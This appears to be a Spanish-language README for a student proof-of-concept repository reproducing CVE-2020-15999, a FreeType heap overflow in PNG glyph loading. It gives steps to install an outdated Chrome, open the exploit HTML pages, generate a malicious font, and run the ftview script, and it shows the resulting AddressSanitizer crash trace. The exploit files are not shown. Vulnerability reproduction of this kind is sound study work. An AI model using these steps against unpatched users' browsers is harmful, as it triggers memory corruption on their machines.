marmeus/cve-2020-15999Todos los materiales necesarios para la PoC en Chrome y ftview
Aquí encontrarás todos los recursos para ejecutar el PoC para el CVE-2020-15999 en Google Chrome y Ftview (Ubuntu).
Hay dos carpetas en este repositorio, una para cada programa.
Para reproducir el exploit, tendrás que instalar una versión de Google Chrome anterior a la versión 86.0.4240.111. En mi caso, usé la versión 85.0.4183.121 que puedes instalar con el siguiente comando.
sudo dpkg -i google-chrome-stable_85.0.4183.121-1_amd64.deb
Finalmente, usando el navegador web, necesitas acceder a uno de los archivos: exploitFontArray.html o exploitFontFile.html. Obteniendo el siguiente resultado.
Nota: Si quieres usar el exploitFontFile.html, necesitarás generar el googleFont.ttf. Para ello, solo tienes que ejecutar el archivo array2file.py con python2. python array2file.py.
Debido a que reproducir el PoC en The FreeType Project Bug #59308 es demasiado complicado, mi compañero maarlo y yo hemos desarrollado un script, que puedes encontrar en la carpeta Ftview, para que puedas ver cómo se puede reproducir la vulnerabilidad.
Simplemente ejecuta el script y verás la siguiente salida.
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==69917==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000029260 at pc 0x7fed4b05d86b bp 0x7ffd022395a0 sp 0x7ffd02239590
WRITE of size 4 at 0x61d000029260 thread T0
#0 0x7fed4b05d86a in png_combine_row /home/user1/Documents/Master/DDS/Trabajo9/libpng-1.6.37/pngrutil.c:3580
#1 0x7fed4b020639 in png_read_row /home/user1/Documents/Master/DDS/Trabajo9/libpng-1.6.37/pngread.c:599
#2 0x7fed4b020c2a in png_read_image /home/user1/Documents/Master/DDS/Trabajo9/libpng-1.6.37/pngread.c:753
#3 0x7fed4aeafc61 in Load_SBit_Png /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/pngshim.c:439
#4 0x7fed4aef5330 in tt_face_load_sbix_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/ttsbit.c:1546
#5 0x7fed4aef589b in tt_face_load_sbit_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/ttsbit.c:1628
#6 0x7fed4adda2d2 in load_sbit_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttgload.c:2429
#7 0x7fed4addbc90 in TT_Load_Glyph /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttgload.c:2829
#8 0x7fed4adcaa91 in tt_glyph_load /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttdriver.c:474
#9 0x7fed4ad879dc in FT_Load_Glyph /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/base/ftobjs.c:948
#10 0x55a7f5f860c8 (/usr/bin/ftview+0x60c8)
#11 0x7fed4aa4a0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#12 0x55a7f5f87d1d (/usr/bin/ftview+0x7d1d)
0x61d000029260 is located 60 bytes to the right of 1956-byte region [0x61d000028a80,0x61d000029224)
allocated by thread T0 here:
#0 0x7fed4b1c5bc8 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x7fed4ad7b808 in ft_alloc builds/unix/ftsystem.c:102
#2 0x7fed4adaa836 in ft_mem_qalloc /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/base/ftutil.c:75
#3 0x7fed4adaa681 in ft_mem_alloc /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/base/ftutil.c:54
#4 0x7fed4ad8589e in ft_glyphslot_alloc_bitmap /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/base/ftobjs.c:526
#5 0x7fed4aeaf9bf in Load_SBit_Png /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/pngshim.c:425
#6 0x7fed4aef5330 in tt_face_load_sbix_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/ttsbit.c:1546
#7 0x7fed4aef589b in tt_face_load_sbit_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/sfnt/ttsbit.c:1628
#8 0x7fed4adda2d2 in load_sbit_image /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttgload.c:2429
#9 0x7fed4addbc90 in TT_Load_Glyph /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttgload.c:2829
#10 0x7fed4adcaa91 in tt_glyph_load /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/truetype/ttdriver.c:474
#11 0x7fed4ad879dc in FT_Load_Glyph /home/user1/Documents/Master/DDS/Trabajo9/freetype2-VER-2-10-3/src/base/ftobjs.c:948
#12 0x55a7f5f860c8 (/usr/bin/ftview+0x60c8)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/Documents/Master/DDS/Trabajo9/libpng-1.6.37/pngrutil.c:3580 in png_combine_row
Shadow bytes around the buggy address:
0x0c3a7fffd1f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffd200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffd210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffd220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c3a7fffd230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fffd240: 00 00 00 00 04 fa fa fa fa fa fa fa[fa]fa fa fa
0x0c3a7fffd250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffd260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffd270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffd280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c3a7fffd290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==69917==ABORTING